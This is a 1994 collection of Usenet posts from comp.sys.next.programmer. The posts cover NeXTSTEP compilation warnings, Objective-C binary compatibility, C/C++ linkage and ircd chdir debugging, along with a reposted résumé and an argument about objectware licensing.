From: adhir@bigdipper.umd.edu (Alok K. Dhir) Newsgroups: comp.sys.next.programmer Subject: Passing arg 2 of 'signal' from incompatible... Date: 4 Mar 1994 07:50:01 GMT Organization: University of Maryland, College Park Message-ID: <2l6p79$j3o@hecate.umd.edu> Hi all - I'm new to NSFIP3.2, and am a non-programmer. The most I can do is edit a makefile and compile a program (and even that doesn't work out on occassion (-: ). Here's the situation - I am trying to compile tcsh6.04 and Screen3.2 for my machine and am having trouble with both of them. I just finished compiling elm, pine, archie and a few other things I needed and was able to tackle all the glitches with those, but tcsh and screen are beating the hell out of me. Both seem to have similar problems... Both report the following warnings a number of times before they stop: : warning: passing arg 2 of `signal' from incompatible pointer type : warning: assignment from incompatible pointer type I suppose the problem is related, although I could be completely wrong... Can anyone offer some guidance as to what I am doing wrong? Also, if there are already pre-compiled versions of these for NS/Intel3.2, I wouldn't mind pointers (although I'd like to compile them myself, I am getting very tired of csh and will soon die without tcsh (excuse the melodrama, I am tired...)). Thanks for any help. Al
From: Charlesa@learned.co.uk Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software,comp.sys.next.programmer,comp.sys.next.misc Subject: Re: NS 3.2/I and putenv() Date: Fri, 04 Mar 94 14:05:20 BST Organization: EUnet GB Message-ID: <2l7fon$6o8@marble.Britain.EU.net> References: <2l0buf$1jo@steffi.demon.co.uk> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII In article <2l0buf$1jo@steffi.demon.co.uk>, <robert@steffi.demon.co.uk> writes: > What a shame we didn't get to see what he was compiling. > > Well here we go again with another putenv flame ware. > > Mr EPS please step forward, wait for it wait for it :-) > > To the poster, if nobody sends you a putenv then get in touch. > Poster here; thanks for the offer, and to all those who helpfully replied. What putenv flame ware? If this thread has a history, I am <blissfully> unaware. Didn't mean to open old battlewounds...
From: colyma@chromium.zinc.com (Mike Colyar) Newsgroups: comp.sys.next.programmer Subject: Event control Date: 4 Mar 1994 08:00:36 -0700 Organization: Zinc Software Incorporated Sender: colyma@chromium (Mike Colyar) Distribution: world Message-ID: <2l7iek$89g@chromium.zinc.com> Keywords: Event I have a strange question concerning control of the main event loop in a NS app. Basically, I need to query a running app for all events. Under most other OS's that are based on a event polling loop mechanism this would be simple. Under NS, it seems only NS objects receive the event notification. I want to have my own main() and start the app (i.e. [NXApp run]) and from then on query the app for events. Any suggestions? Thanks in advanced, Mike Mike Colyar colyma@zinc.com
From: Anatoly.Lisovsky@kamaz.kazan.su (Anatoly M. Lisovsky) Newsgroups: comp.sys.mac.programmer,comp.sys.next.programmer,comp.sys.sun.misc,comp.databases,comp.databases.sybase,comp.databases.oracle,comp.databases.object,comp.sys.mac.databases,comp.unix.programmer Subject: Re: ***POSITION AVAILABLE:SYSTEMS PROGRAMMER/DATABASE DESIGNER*** Date: Fri, 04 Mar 94 18:37:14 +0300 Distribution: world Organization: KAMAZ Inc., General Economics Department, (+7 8439) 53-07-34 Message-ID: <DA-PqTj8HH@fkamaz> Sender: news-service@kiae.su References: <2kt8ab$51g@spool.mu.edu> <gregor.1112859278I@ra.nrl.navy.mil> <CM099B.71x@world.std.com> In comp.sys.mac.programmer,comp.sys.next.programmer,comp.sys.sun.misc,comp.databases,comp.databases.sybase,comp.databases.oracle,comp.databases.object,comp.sys.mac.databases,comp.unix.programmer article <CM099B.71x@world.std.com> Charles H. Evans writes: >gregor@nrlfs1.nrl.navy.mil (joe gregor) writes: > >>In Article <2kt8ab$51g@spool.mu.edu>, alec@carie.dental.mu.edu (Alec >>Ellsworth) wrote: >>> >>>Qualifications include: Bachelor's Degree in Computer Science or >>>equivalent required. Experience with a UNIX based distributed >>>client/server database with Macintosh clients, familiarity with 4th >>>Dimension for Macintosh, experience in the administration of an >>>ethernet LAN with a UNIX host running DNS, Synoptics Optivity and IPT >>>UShare with Macintosh clients, ability to demonstrate a working >>>knowledge of C/C++ for Macintosh and SUN and excellent verbal and >>>written communication skills. Experience in dental information systems >>>and familiarity with dental terminology preferred. We are looking for >>>a person who can effectively communicate with non-technical dental >>>professionals, as well as with the systems development leadership. >>>Requires at least 2 years post degree work experience. >>> >> >>Not asking for much, are you? ;-) > >Perhaps there is a "strong internal candidate," but funding requires >"open" competition? BTW, i have ansver for Mr. Alec Ellsworth. What do you think: is it right enough? :b Sorry, i do'nt know Apple inside with closed eyes, but why not? :) Q: Do you play piano? A: Do not know, let me try... :) =================== Cut here to destroy your CRT =========================== dear Sir/Madam: If your current or future needs call for seeking a Hardware/Software/networking/DOS/UNIX/INFORMIX engineer with proven abilities, personality and perhaps international experience I would appreciate if you spend some time reading my resume. I plan to work somewhwre in U.S or Canada after my last project here will be completed. Work for Sun Microsystems, Inc. is preferred. As a Systems Integrators Team Manager with experience in a major heavy truck producing company, I feel my background may be of interest to you. My qualifications include (briefly): + An institute of Automatic Control Systems & Radio-Electronics in Tomsk, Syberia (so called famous TIASUR) + 5 years experience in analog circuit design in laboratories of institute, + ready to produce developed radio-wave alarm system, + In-depth experience in telephony and radio-communications, + Great experimence in repairment of analog quolity control systems from Marpass (Italy) + High experience in TSR programs, library functions for IBM-PC, for usage by CAD/CAM department of KAMAZ programmers, + Author and developer of integrated interactive system Mrgarita, for personal users of IBM-PC (very popular for managers), + Developer of first WAN for KAMAZ Inc. communications, + Proficient in UNIX development environment, + Author of "clever rmail" for UUCP Internet-style routing (to avoid sendmail as security hole), + Project manager and partialy designer of paperless payment system for KAMAZ Inc., + Experience in INFORMIX, + Experience in Sun systems, + experience in Xylogics' Communications servers/ IP routers, + and so on... because of creative approach and ability to learn quickly. I thrive on challenges and readily adapt to new situations. If you or your client would benefit from these kind of traits we should get to know each other. If you will call or write at your own convenience, I look forward to telling more about my background. Sincerely, Anatoly M. Lisovsky Anatoly M. Lisovsky 28/01-198, Naberezhnye Chelny, Tatarstan, Russia, CIS SU-423818 Phone: +7 8439 53-07-34 (work) 54-04-28 (wife's pearents) 52-10-89 (home) emil: Postmaster@kamaz.kazan.su Anatoly.Lisovsky@kamaz.kazan.su tolik@kamaz.kazan.su root@fkamaz.kamaz.kazan.su ------------------------------------------------------------------------------- SUMMARY Twelve year experience in radio, electronics, and software design, now in General Economics Department, KAMAZ Inc. (largest vendor of heavy trucks) Working knowlege of IBM/PC and Sun architectures, C, Pascal, Assembler for IBM/PC, C for Sun, UUCP and TCP/IP networking. Want to work in mixed Sun/PC environments as software developer, project manager, or systems integrator. But ready to know some new for me to reach high level. -------------------------------------------------------------------------------- TECHNICAL SKILLS Languages: C, Pascal, Assembler 80x86, UNIX shell programming, INFORMIX 4G. Hardware : 80x86, SPARC Operating Systems: UNIX(SVR3.2,BSD,SVR4), DOS. Applications: Borland C, MS C, Turbo Pascal, INFORMIX, Sun cc, Interactive SVR3.2 cc (2.2 ad 3.0), UHC SVR4 cc, gcc for Solaris 2.3, and so on... (A lot of commercial packages are "free" here and available to study. :-) EXPERIENCE o September 1976 - student of Tomsk University of Automatic Control Systems and Radio-Electronics. Warked on small projects for analog cirquit design. Developed first "Phaser" in Tomsk, for electronics music, by sound, without circuit diagram. Developed (in team with partner) first analog music synthesizer, and a lot of devices for guitars. Developed power amplifiers for rock groups in Tomsk. o 1980-1981. Developed radio-wave alarm system, Doppler effect based. Used 10.7 GHZ frequency. Prototype was from Metrovox, but Metrowox has 22 electrolythic capasitors. My goal was to develop it for IC design, for Tomsk Institute of Semiconductor Devices. Circuit diagram was developed, IC was created (only 2 capasitors outside of IC!), but guys from our laboratory used my radio head for satellite TV receiving system, which was strictly restricted in USSR, so my project was closed. :-( o 1981. Railway authomatics service center in Ushtobe, Kazakhstan. Power amplifiers service engineer at railway station. o 1981, Railway authomatics service center in Ushtobe, Kazakhstan. Radiostations repairment. o 1981, Railway authomatics service center in Ushtobe, Kazakhstan. Team manager of tonal-selection communications. o 1981, Railway authomatics service center in Ushtobe, Kazakhstan. Generl manager for radio and wire communications, at 300 kilometers distance. o 1984, Taldy-Kurgan, Philarmonia (because of great problems with previous wife) Audio engineer. o 1984, Ushtobe, Kazakhstan, Autobus Center. Develped system for autobus path monitoring. o 1985, Ushtobe, Kazakhstan, Culture and Technical Centre. Vice-director for Scientific-Technical directions. At the same time radio and electronics teacher. o 1987, Naberezhnye Chelny, KAMAZ Inc., Engine Plant. Computer hardware service engineer. Developed electronics systems for dancing hall (like in San-Remo :-) CEO wanted to have it. At free from dancing hall time - repairment of serious problems with computers, which nobody else could do. Willed to work 3D measurement system from Stiefelmeyer, Germany (was down 10 years before me). o 1988, Naberezhnye Chelny, KAMAZ Inc., Engine Plant. Member of team for repairment of broken measurement systems from Marpass, Italy (government started "war for the quality" :-). o 1989, Naberezhnye Chelny, KAMAZ Inc., CAD/CAM department. Cheif Engineer. TSR programs, tools, lbrary functions development for applications programmers (MS/DOS, IBM-PC, Assembler, C, Turbo-Pascal). The same time (at free from main work time) developed integrated interactive system, Margarita. It's full set of tools for personal user. For example: menu manager, file manager, phone book, text processor, spreadsheet, and so on. Very popular in high level managers area. Very friendly, and very integrated. o 1990, Naberezhnye Chelny, KAMAZ Inc., ASU-KAMAZ firm, Systems Software Department. Multiuser systems studiing, to choise for usage for new Information System of KAMAZ Inc. Global project development. Worked closely with Sun Microsystems, Inc. people. o 1993, Naberezhnye Chelny, KAMAZ Inc., General Economics Department. Created new division: STAR (russian acronim from Systems and Technologies for Automatic Accounts). Created first WAN at KAMAZ for paperless communications, now are busy in development of integrated multiuser system for paperless payments (KAMAZ Inc. have 15 plants and about 100 divisions in Naberezhnye Chelny, for example one plant have 15,000 workers. Long distances. I use in my project: 1. Servers from Sun 2. Communications servers from Xylogics, 3. Telebit, ZyXEL, and USRobotics modems, 4. Alcatel phone stations, 5. Satellite channels, 6. PC's LANGUAGES Very good Russian, working knowledge of English. PERSONAL o internationally oriented o enjoy traveling and meeting new people o can work successfuly in teams or individually o goal oriented o love reading, writing and music o creative approach o play guitar, sing songs o radio and electronics design, repairmets of new for me equipment o programming, of course REFERENCES Provided upon request. Sincerely, Anatoly M. Lisovsky, Made In USSR :) PS: My wife is software developer in past, and department manager now. =================== Cut here to destroy your CRT =========================== -- Anatoly M. Lisovsky, KAMAZ Inc., General Economics Department, STAR division ------------ The Network is The Computer. Per Aspera ad Sun! ---------------
From: shaman@halcyon.halcyon.com (Russell Wilcoxon) Newsgroups: comp.sys.next.programmer Subject: IB- "Note Fields" object doesn't work Date: 4 Mar 1994 16:23:52 GMT Organization: Northwest Nexus Inc. Message-ID: <2l7nao$o57@nwfocus.wa.com> I'm trying out the developer apps that came with the developer pack and the point in the example where you do an "Alt+drag" to extend the form entry fields doesn't work. It will stretch the background to the entry fields but won't add more entry fields. I wouldn't really mind just putting out another form object but I don't know how that affects the communication between the different parts. Is there a fix for this? Thanks, Russell Wilcoxon shaman@halcyon.com
Newsgroups: comp.sys.next.programmer From: alex@data.acs.calpoly.edu (Alex Raftis) Subject: Re: Is Objective - C a dead language (sorry if you thought this was a dead thread)? Message-ID: <1994Mar04.171320.13479@rat.csc.calpoly.edu> Date: Fri, 04 Mar 94 17:13:20 GMT Organization: Cal Poly, SLO References: <1994Mar3.154838.9931@mouthers.nwnexus.wa.com> In article <1994Mar3.154838.9931@mouthers.nwnexus.wa.com> (slugg jello) writes: > In article <2j3q7s$efl@rosie.next.com> pgraff@graff.next.com (Peter > Graffagnino) writes: > > * adding methods to superclass doesn't break binary compatibility > > > > Of course, Objective-C does have this problem for instance variables, > > but C++ has this problem for *methods* as well. This is because the C++ > > compiler must calculate an exact offset into a jump table for each method > > invocation. If you insert entries into the table by adding methods, all > > clients calling the class must be recompiled. > > > > Is it true what the above states about instance variables? I was never aware > of it and would be very surprised if it's true. If it is true, how could NeXT > release a new binary compatible AppKit without adding instance variables to the > AppKit classes? Ever notice that any variable that should be accessed outside of a NeXTSTEP class has a get/set pair in the code? If you make sure to always ask the class for access to a variable, then you'll always get the right thing. Besides, this is safest, because it allows a class to control what you see and how it behaves when certain information is requested. Also, you can freely add new variables onto the end of a class, since that doesn't change the offsets of the variables that come before it. Alex -- ______________________________________________________ Internet: alex@data.acs.calpoly.edu (NeXT mail) araftis@galaxy.csc.calpoly.edu
Newsgroups: comp.sys.next.programmer From: mikes@ceco.ceco.com (Michael Stepniczka) Subject: D.O. events Message-ID: <CM5KsM.43r@ceco.ceco.com> Sender: root@ceco.ceco.com (Operator) Organization: Commonwealth Edison Co. Date: Fri, 4 Mar 1994 18:31:33 GMT Has anyone used the D.O. runFromAppkitWithPriority: (something like that)? I'm wondering if there is a way to peek at the next event (if this actually has events) to see if more messages have arrived for the application to handle. I'd like to discard the current message along the lines of - handleCallFromServer { if (peekNextEvent(remoteMessageType)) return; else handle current message; } in case the client app can't keep up with the stream of messages coming for a server. I know you can check for event of type mouseMoved, clicks, etc. Is there an actual type for D.O. messages? Is there another call that can be made? Thanks for any info! (I have RTFMed and didn't see anything... probably just me not making some connection...) Mike Stepniczka mikes@ceco.ceco.com
From: sam_s@NeXT.com (Sam Streeper) Newsgroups: comp.sys.next.programmer Subject: Re: Is Objective - C a dead language (sorry if you thought this was a dead thread)? Date: 4 Mar 1994 19:19:47 GMT Organization: NeXT, Inc. Message-ID: <2l81kj$ndd@rosie.next.com> References: <1994Mar04.171320.13479@rat.csc.calpoly.edu> In article <1994Mar04.171320.13479@rat.csc.calpoly.edu> alex@data.acs.calpoly.edu (Alex Raftis) writes: > Also, you can freely add new variables onto the end of a class, since that > doesn't change the offsets of the variables that come before it. Not really. NeXT can't do this because it is assumed that you will subclass NeXT's supplied classes, and this changes the offsets to ivars in subclass code. You can get away with this in your own leaf classes. ie Even if dependencies are not correctly defined you will still have working code without doing a clean rebuild. -sam
From: michael@cogito.iaee.tuwien.ac.at (Suessner Michael) Newsgroups: comp.sys.next.programmer Subject: WindowWillClose? Date: 4 Mar 1994 20:16:23 GMT Organization: Technical University Vienna, Austria Message-ID: <2l84un$j4p@email.tuwien.ac.at> I have a window and a delegate of a window, which should be freed when the window is closed by a mouse click into the close button. I use the following code: - windowWillClose:sender { [self free]; return sender; } I always get an error after this message, because a message is sent to the freed delegate. Does anybody know, what kind of message is sent? Workaround: [sender setDelegate:nil]; Thanks Suessner Michael
Newsgroups: comp.sys.next.programmer From: byer@mv.us.adobe.com (Scott Byer) Subject: Re: Is Objective - C a dead language (sorry if you thought this was a dead thread)? In-Reply-To: sam_s@NeXT.com's message of 4 Mar 1994 19:19:47 GMT Message-ID: <BYER.94Mar4122928@embassy.mv.us.adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated, Mountain View, CA References: <1994Mar04.171320.13479@rat.csc.calpoly.edu> <2l81kj$ndd@rosie.next.com> Date: Fri, 4 Mar 1994 20:29:28 GMT Sam Streeper writes: Sam> Not really. NeXT can't do this because it is assumed that you will Sam> subclass NeXT's supplied classes, and this changes the offsets to ivars Sam> in subclass code. You can get away with this in your own leaf classes. Sam> ie Even if dependencies are not correctly defined you will still have Sam> working code without doing a clean rebuild. It sounds like it might be a good thing to do to tweak the compiler. Is there anything in the language that would prevent the private instance variables in a class from being automatically allocated and shoved in a private pointer structure? Given that people aren't supposed to access instance variables directly anyway, would it be reasonable to tuck them all away like that? Yes, I know that this would cause code incompatibility, and so would have a snowball's chance in hell of ever seeing daylight. But it's an interesting thought, no? -- Scott Byer NeXTMail: byer@mv.us.adobe.com Adobe Systems Incorporated These are *my* opinions, and 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect Mountain View, CA 94039-7900 the opinions of my employer. ---------------------------------------------------------------------
From: tyler@casey.mc.duke.edu (Tyler Gingrich) Newsgroups: comp.sys.next.programmer Subject: NS 3.2 make profile error Date: 4 Mar 1994 20:49:50 GMT Organization: Duke University; Durham, N.C., USA Message-ID: <2l86te$mli@news.duke.edu> Keywords: profile, exit I'm attempting to make profile for a 3.2 application and I get the following error from ld...... ld: multiple definitions of symbol _exit /lib/gcrt0.o definition of _exit in section (__TEXT,__text) /lib/libsys_s.a(exit.o) definition of absolute _exit (value 0x50024b0) *** Exit 1 Stop. Anybody know a workaround for this??? Or better yet, anybody know what might be causing this error?? Thanks in Advance... --- Tyler Gingrich Vanguard Software, Corp.
From: chris@amiga.tn.cornell.edu (Christopher A. Wolf) Newsgroups: comp.sys.next.programmer Subject: Devlopment restrictions on educational NS/I 3.2 packages? Date: 4 Mar 1994 20:41:47 GMT Organization: none Sender: caw5@cornell.edu (Verified) Distribution: world Message-ID: <2l86ebINN9jn@newsstand.cit.cornell.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit I've recently heard a rumor that NeXT's licensing prevents you from developing any for-profit shareware or commercial packages using the 3.2 educational distribution. Could anyone confirm or deny this? Thanks. - Chris -- ------------------------------------------------------------------------------ Christopher A. Wolf mail: chris@alchemy.geo.cornell.edu IRC: cwolf (#amiga) ------------------------------------------------------------------------------
Newsgroups: comp.sys.next.programmer From: salmon@lgb.hill.af.mil (Keith E. Salmon) Subject: Spreadsheet Function Message-ID: <CM3wHM.2qD@oodis01.hill.af.mil> Keywords: Mesa, Elasped time Sender: news@oodis01.hill.af.mil (News System;Unix;) Organization: Hill AFB Date: Thu, 3 Mar 1994 20:48:58 GMT I am using the Mesa Spreadsheet application to try and find the elapsed time between two times given in a 24-hour format. The elapsed times I am looking for are in the millisecond range (ex, .355 secs). Mesa allows function add-in to be added to the program. However, my knowledge of Obj-C or C++ is limited. If anyone has any ideas on how I might be able to get elapsed times from time-formatted inputs, please email me at the following: salmon@lgb.hill.af.mil Thanks for any responses and help. Keith Salmon Aerospace Engineer 545 Test Group Hill Air Force Base, UT salmon@lgb.hill.af.mil (NeXTMail preferred)
From: elitman@proxima.com (Eric A. Litman) Newsgroups: comp.sys.next.programmer Subject: IP transaction classes Date: 4 Mar 1994 15:43:07 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9403042106.AA09992@proxima.com> Does anyone have any reasonable IP-based transaction classes? Specifically, code which will handle socket streams (berkeley) - datagrams are ancillary. -- Eric Litman Proxima, Inc. vox: (703) 506.1661 Systems Engineer McLean, VA elitman+@proxima.com echo '[q]sa[ln0=aln256%Pln256/snlbx]sb3135071790101768542287578439snlbxq'|dc
From: griffid@gb.swissbank.com (Dave Griffiths) Newsgroups: comp.sys.next.programmer Subject: Re: what is a (const char*const *) & how? Date: 4 Mar 1994 12:19:34 GMT Organization: Swiss Bank Corporation, High Timber St, London, UK Message-ID: <2l790m$fg1@gpo.gb.swissbank.com> References: <1994Mar3.040134.2552@hot.com> In article <1994Mar3.040134.2552@hot.com> Robert La Ferla <Robert_La_Ferla@hot.com> writes: |> It is a constant pointer to a constant character pointer or in other |> words a non-changeable list of non-changeable strings. |> |> Here's how to create them: |> |> const char *names[] = {"Joe Slider", "David Button", "Rob Switch"}; |> const char *numbers[] = {"5551212", "5778500", "5552000"}; Might be an idea to change that to: const char *names[] = {"Joe Slider", "David Button", "Rob Switch", 0}; const char *numbers[] = {"5551212", "5778500", "5552000", 0}; Since the faxPSCode method has no parameter to tell it how many entries are in the list, so it presumably expects null-termination. Dave Griffiths
From: matthewm@sgate.com (Mike Matthews) Newsgroups: comp.unix.programmer,comp.sys.next.programmer Subject: chdir for root fails?! Date: 4 Mar 1994 17:17:30 -0500 Organization: Collins International Services Company Message-ID: <2l8c1q$5ct@sgate.com> I'm trying to install the IRC server v2.8.16 on a NeXTcube running NEXTSTEP 3.2. Everything seems to compile fine. I have the CHROOT #define, um, defined, which makes ircd try to chroot to a path before it starts up. This path, /usr/local/lib/ircd, exists and is accessible to everyone. (Yes, it's the same in Makefile's IRCDDIR and include/config.h, but I don't think that's an issue because it's not getting that far.) The chdir() call fails, giving 'No such file or directory' as its perror() output. I compiled a little snippet program with just that same code. And it worked. I ran ircd as non-root, and it made it past the chdir, but of course failed on the chroot (presumably, chdir() is there to make sure the directory exists and might give some additional debugging info). /usr/local is a mount point, all local disks. Permissions are 755 for /, /usr, /usr/local, /usr/local/lib, and /usr/local/lib/ircd. # pwd /usr/local/lib/ircd Yep, it exists. Is there some convoluted bug I've run across? It's got to be something stupid. I can't figure this one out for the life of me. The command to compile the relevant module: cc -bsd -I../include -O -c ircd.c Test: # cat test.c #include <stdio.h> main() { static char *path = "/usr/local/lib/ircd"; chdir(path); perror("chdir"); } # cc -bsd test.c # ./a.out chdir: Error 0 ircd: # ./ircd chdir'ing to /usr/local/lib/ircd [19 bytes] chdir: No such file or directory static char *dpath = DPATH; ... fprintf(stderr,"chdir'ing to %s [%d bytes]\n",dpath,strlen(dpath)); if (chdir(dpath)) { perror("chdir"); exit(-1); } config.h: #define DPATH "/usr/local/lib/ircd" /* dir where all ircd stuff is */ Clues, anyone? ------ Mike Matthews, Mike_Matthews@sgate.com (NeXTmail accepted) ------ Parkinson's Fourth Law: The number of people in any working group tends to increase regardless of the amount of work to be done.
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Is Objective - C a dead language (sorry if you thought this was a dead thread)? Date: 4 Mar 1994 23:17:04 -0000 Organization: me organised, that's a joke. Message-ID: <2l8fhg$bk3@steffi.demon.co.uk> References: <1994Mar3.154838.9931@mouthers.nwnexus.wa.com> <1994Mar04.171320.13479@rat.csc.calpoly.edu> In article <1994Mar04.171320.13479@rat.csc.calpoly.edu>, Alex Raftis <alex@data.acs.calpoly.edu> wrote: >Ever notice that any variable that should be accessed outside of a >NeXTSTEP class has a get/set pair in the code? If you make sure to always >ask the class for access to a variable, then you'll always get the right >thing. Besides, this is safest, because it allows a class to control what >you see and how it behaves when certain information is requested. You should qualify "accessed outside of the NeXTSTEP class" to mean that you should also consider subclasses to be outside of the "class" per se when writing your own classes. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: tiggr@tricky.wft.stack.urc.tue.nl (Tiggr) Newsgroups: comp.sys.next.programmer Subject: wanted: beta testers Date: 04 Mar 1994 21:55:17 GMT Organization: Eindhoven University of Technology Distribution: world Message-ID: <TIGGR.94Mar4225517@tricky.wft.stack.urc.tue.nl> I'm developing a desktop application, which allows the user to put files and pasteboard contents on a background window. I need a few people to beta test it. In return for your bug reports, you will receive the program and any future version for free. Only the first X (X > 0) people can join. To become a beta tester, send me a mail stating that you want to become a beta tester and your reason for reading comp.sys.next.programmer. --Tiggr
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: what is a (const char*const *) & how? Date: 5 Mar 1994 00:00:04 -0000 Organization: me organised, that's a joke. Message-ID: <2l8i24$c6p@steffi.demon.co.uk> References: <1994Mar3.040134.2552@hot.com> <2l790m$fg1@gpo.gb.swissbank.com> griffid@gb.swissbank.com (Dave Griffiths) wrote in comp.sys.next.programmer >In article <1994Mar3.040134.2552@hot.com> Robert La Ferla ><Robert_La_Ferla@hot.com> writes: >|> It is a constant pointer to a constant character pointer or in other >|> words a non-changeable list of non-changeable strings. >|> >|> Here's how to create them: >|> >|> const char *names[] = {"Joe Slider", "David Button", "Rob Switch"}; >|> const char *numbers[] = {"5551212", "5778500", "5552000"}; > >Might be an idea to change that to: > >const char *names[] = {"Joe Slider", "David Button", "Rob Switch", 0}; >const char *numbers[] = {"5551212", "5778500", "5552000", 0}; > >Since the faxPSCode method has no parameter to tell it how many entries >are in the list, so it presumably expects null-termination. > >Dave Griffiths Shouldn't that be NULL instead of 0? NULL is guaranteed to be valid in a any pointer context but what about 0? -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: joe@retina.anatomy.upenn.edu (Joe Panico) Newsgroups: comp.sys.next.programmer Subject: c<->c++ linkage conventions? Date: 5 Mar 1994 00:52:19 GMT Organization: Dept. of Neuroscience, U. of Pennsylvania Distribution: world Message-ID: <2l8l43$fig@netnews.upenn.edu> Hi, I'm calling c++ functions (not member functions), which reside in .cc files, from c source code, living in .c files. I'm compiling both together (no libraries involved) with the g++ on NSI 3.2. There seems to be some linkage convention incompatability. Specifically: /* file1.c */ #include "file2.h" main() { cplusplus_function(); } // file2.h void cplusplus_function(); // file2.cc void cplusplus_function() { ..... } produces this error: ld: Undefined symbols: _cplusplus_function It's well documented how to specify c linkage convention to c++ source (extern "C"...), but how does one specify c++ linkage convention to c source? Any tips appreciated. Thanks. Joe Panico joe@retina.anatomy.upenn.edu
From: rnielsen@monet (Robert Nielsen) Newsgroups: comp.sys.next.programmer Subject: Displaying MS-Windows bmp (bitmap) files in NeXTSTEP Date: 5 Mar 1994 01:43:44 GMT Organization: Sony Advanced Video Technology Center, San Jose, CA Message-ID: <2l8o4g$6tl@sosfc.avtc.sel.sony.com> Greetings all, I am looking for info on displaying MS-Windows bmp (bitmap) files in NeXTSTEP. Since NXImage handles tiff files, what I may be really looking for is a bmp-to-tiff converter. Anyone have such a beast? Other options will be considered. I will post a summery if people choose to reply to me in private email. Cheers, Robert D. Nielsen
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Portability of rand()/random()/getitimer between Unixes Date: 5 Mar 1994 03:03:34 GMT Organization: San Francisco State University Message-ID: <2l8sq6$q82@nic-nac.CSU.net> References: <2l5p75$11a@netnews.upenn.edu> In article <2l5p75$11a@netnews.upenn.edu> joe@retina.anatomy.upenn.edu (Joe Panico) writes: >I'm working on a program that requires a random number generator. >It should work on NS as well as other standard Unixes. Problem >is that random()/rand() and getitimer do not seem to be standard >between NS and say AIX. Specifically the return from rand()/random() >have different ranges of return values on different Unixes. Is >there some fairly portable way of querying the system for the >largest number returned by random()? AIX has a global variable, >but I can't find any mention of symbolic values for this in NS, >only the actual numbe (2**31)-1, which I would have to hardcode >into the program. random() is specifically documented as returning values range. While it is significantly better than rand(), it may not offer a sufficiently uniform distribution for all applications. [Try asking in comp.unix.programmer; check comp.sources.unix/comp.sources.misc archives, NETLIB, etc.] As for AIX, you probably want to try drand48() first. -=EPS=-
From: he@engin.swarthmore.edu (Ye He) Newsgroups: comp.sys.next.programmer Subject: "Help: NXBundle" Date: 5 Mar 1994 04:45:02 GMT Organization: Swarthmore College, Swarthmore, PA, USA Message-ID: <2l92oe$eah@larch.cc.swarthmore.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit As the manual says, "mainBundle" corresponds to an application file package, a DIRECTORY that bears the name of the app. and is marked by a ".app" extension. I am really confused here, anything that bears a ".app" extenstion won't be considered a directory by the computer at all. So what's the mainBundle? And what's the "app" here? Please reply to he@engin.swarthmore.edu. Thanks alot! -Ye
From: chris@stokeisland.ohi.com (Christopher J. Traynor) Newsgroups: comp.sys.next.programmer Subject: Re: General Objectware License Date: 4 Mar 1994 22:57:35 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9403050325.AA01105@stokeisland.ohi.com> All: I've been following this small buzz about this "general" license and find it not only a bit presumptuous of the writers, but also quite useless in the real world. The reason that ObjectWare has been difficult to group with applications under a blanket license is because developers have vastly differing goals in mind for their creations that include limitation on commercial use and royalties. I don't think it is all too useful to try to rope the contributors of PD and shareware objects under a license that neither suits them (including myself) nor brings any benefit to them. The premise seems to be the protection of the community at large from having to pay for something that they can't ascertain before using when the very notion of supplying source code undermines the original developer. IMHO, it is more important to protect the intellectual rights of the developer if he/she wishes to market that code; that means giving up the idea that anyone else has the right to come in and dictate the policies by which they distribute their code. I see no benefit to the developer in any of this and if I was going to sell my objects, I would certainly not allow anyone else's idea of how to effectively license my work dictate my course of action. Why should anyone wish to provide source code to potential purchasers anyway? What valid argument could there be for providing source code so someone can test your objects? That's silly and would lead to people redeveloping said code using the author's source as a road map. The people who are suggesting that this is a viable method for licensing are doing a disservice to the development community. Finally, the idea of giving out source for a test drive before sale and then limiting the end use to non-commercial (free) applications is crazy. The two policies seem to contradict themselves. Would the first person who would agree to give out the source for his/her objects only to have that person redistribute it without royalties please raise your hand so I can unload this fine bridge here that has become a tax burden?! What really needs to be done here is to come up with a protection mechanism that allows a developer to safely distribute their objects for use by others for a given period and possibly with a limited number licensed seats. That will give the user ample time to decide if they would like to purchase the code and still protect the author - this, in my opinion, is the safest and fairest way to approach this. The development community needs a flexible protection scheme or schemes that all of us can utilize to open the way for a real market in PD and commercial objectware. We should stop wasting our time with "general" agreements that assume far too much honesty and follow-through and serve to protect the user over the developer. --- Cheers, ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |Christopher Traynor | "...and then there were | |President | none." | |Object Horizons, Ltd. | "I should have been a pair | | | of claws scuttling across | |flames welcome. | the floors of silent seas" | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
